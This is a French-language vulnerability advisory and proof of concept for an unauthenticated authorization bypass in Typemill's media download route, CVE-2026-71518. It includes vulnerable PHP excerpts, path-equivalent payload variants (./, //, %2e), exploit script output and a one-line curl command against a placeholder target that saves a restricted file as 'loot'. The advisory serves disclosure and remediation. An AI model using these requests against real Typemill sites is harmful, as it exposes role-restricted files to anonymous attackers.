
Avis et PoC pour un contournement d'autorisation sans authentification dans les téléchargements de médias Typemill, utilisant des variantes d'URL à chemins équivalents pour accéder à des fichiers restreints par rôle.
La restriction repose sur le chemin brut de la requête ; le fichier est lu depuis le chemin résolu par le système d'exploitation — les deux divergent
En un coup d'œil · Résumé · Cause racine · Chaîne d'attaque · Exploit · Remédiation · Chronologie
Typemill permet à un administrateur de restreindre des fichiers média individuels à un rôle utilisateur spécifique via media/files/filerestrictions.yaml. La route de téléchargement publique est censée respecter cette restriction — mais elle vérifie la restriction par rapport au chemin brut de la requête tout en servant les octets depuis le chemin résolu par le système de fichiers. Comme le même fichier possède de nombreuses variantes d'écriture équivalentes en chemin (./name, //name, %2e/name), un attaquant choisit une variante qui ne correspond pas à la clé de restriction mais se résout néanmoins vers le même fichier sur le disque.
La route ne comporte aucun middleware d'authentification, le résultat est donc un téléchargement totalement non authentifié de fichiers qui avaient été explicitement verrouillés à un rôle.
La route de téléchargement est publique — aucun middleware d'authentification n'y est appliqué :
// system/routes/web.php
$app->get('/media/files/{params:.*}', ...ControllerWebDownload::class . ':download');
Dans system/typemill/Controllers/ControllerWebDownload.php, la décision de contrôle d'accès et la lecture du fichier utilisent deux représentations différentes du même chemin :
// Restriction is looked up with the RAW, un-normalized request parameter:
if (isset($restrictions['media/files/' . $args['params']])) {
// ... enforce role restriction (redirect to login if not allowed)
}
// ... but the bytes are served from the OS-resolved path:
$content = file_get_contents($base . $params);
validate() ne rejette qu'une séquence littérale .. — elle ne normalise pas ./ ou //, et elle ne rejette pas les équivalents encodés en pourcentage. La clé de restriction et le fichier réellement lu se désynchronisent donc :
Le bug est le schéma classique « décision d'autorisation et accès à la ressource fondés sur des chaînes différentes contrôlables par l'attaquant » (CWE-639/CWE-863). $_SERVER['REQUEST_URI'] reste également brut sous Apache, ce n'est donc pas spécifique au serveur.
flowchart LR
A[Admin restricts<br/>media/files/secret.pdf<br/>to role 'editor'] --> B[Anon requests<br/>/media/files/secret.pdf]
B --> C{Restriction key<br/>matches raw path?}
C -->|yes| D[302 → login<br/>🔒 blocked]
A --> E[Anon requests<br/>/media/files/%2e/secret.pdf]
E --> F{Restriction key<br/>matches raw path?}
F -->|no| G[file_get_contents resolves<br/>./ // %2e to same file]
G --> H[200 OK<br/>🟢 file leaked]filerestrictions.yaml.exploit/exploit.py reproduit le problème de bout en bout contre un conteneur de test local. Il (1) fait déposer par l'« admin » un fichier privé restreint au rôle editor, (2) confirme que l'URL canonique est bloquée pour un utilisateur anonyme, puis (3) télécharge le même fichier via chaque variante équivalente en chemin.
# Bring up a local Typemill < 2.26.0 as container "typemill-test" on :8099, then:
python3 exploit/exploit.py
Sortie attendue :
[CONTROL] GET /media/files/secret.pdf -> http=302 (restriction enforced)
[BYPASS ] GET /media/files/./secret.pdf -> http=200 leaked=True
[BYPASS ] GET /media/files//secret.pdf -> http=200 leaked=True
[BYPASS ] GET /media/files/%2e/secret.pdf -> http=200 leaked=True
>>> VULNERABLE: unauthenticated download of a role-restricted file (CWE-639)
Commande en une ligne contre n'importe quel hôte vulnérable (tests autorisés uniquement) :
curl -s 'https://TARGET/media/files/%2e/restricted-file.pdf' -o loot.pdf

realpath() et confirmer le confinement dans le répertoire de base des médias avant la lecture, et rejeter les séparateurs de chemin encodés en pourcentage.| Date | Événement |
|---|---|
| 2026-08-04 | Vulnérabilité découverte dans Typemill 2.25.0 ; PoC vérifié de bout en bout sur Docker |
| 2026-08-04 | Signalée au mainteneur / à VulnCheck |
Pour des tests de sécurité autorisés et un usage éducatif uniquement. © @IlhomjonR
| CVE ID | CVE-2026-71518 |
| Produit | typemill/typemill — Typemill (CMS PHP à fichiers plats, Slim 4) |
| Versions concernées | toutes les versions < 2.26.0 (vérifié sur 2.25.0, commit 8f3901c) |
| Corrigé dans | 2.26.0 |
| Faiblesse | CWE-863 (Incorrect Authorization) · CWE-639 (Authorization Bypass Through User-Controlled Key) |
| CVSS v3.1 | 7.5 — Élevé · AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| CVSS v4.0 | 8.7 — Élevé |
| Vecteur | Réseau · aucune authentification · aucune interaction utilisateur |
| Impact | Téléchargement sans authentification de fichiers média qu'un administrateur a restreints à un rôle privilégié |
| Chercheur | Ilhomjon Rustamov (@IlhomjonR) |
| Chemin de la requête | Clé de restriction correspondante ? | Fichier résolu sur le disque | Résultat |
|---|
/media/files/secret.pdf | ✅ oui | secret.pdf | 🔒 bloqué (302 → connexion) |
/media/files/./secret.pdf | ❌ non | secret.pdf | 🟢 servi (200) |
/media/files//secret.pdf | ❌ non | secret.pdf | 🟢 servi (200) |
/media/files/%2e/secret.pdf | ❌ non | secret.pdf | 🟢 servi (200) |
| — | Corrigée dans Typemill 2.26.0 |
| 2026-08-18 | CVE-2026-71518 rendue publique ; avis + PoC publiés |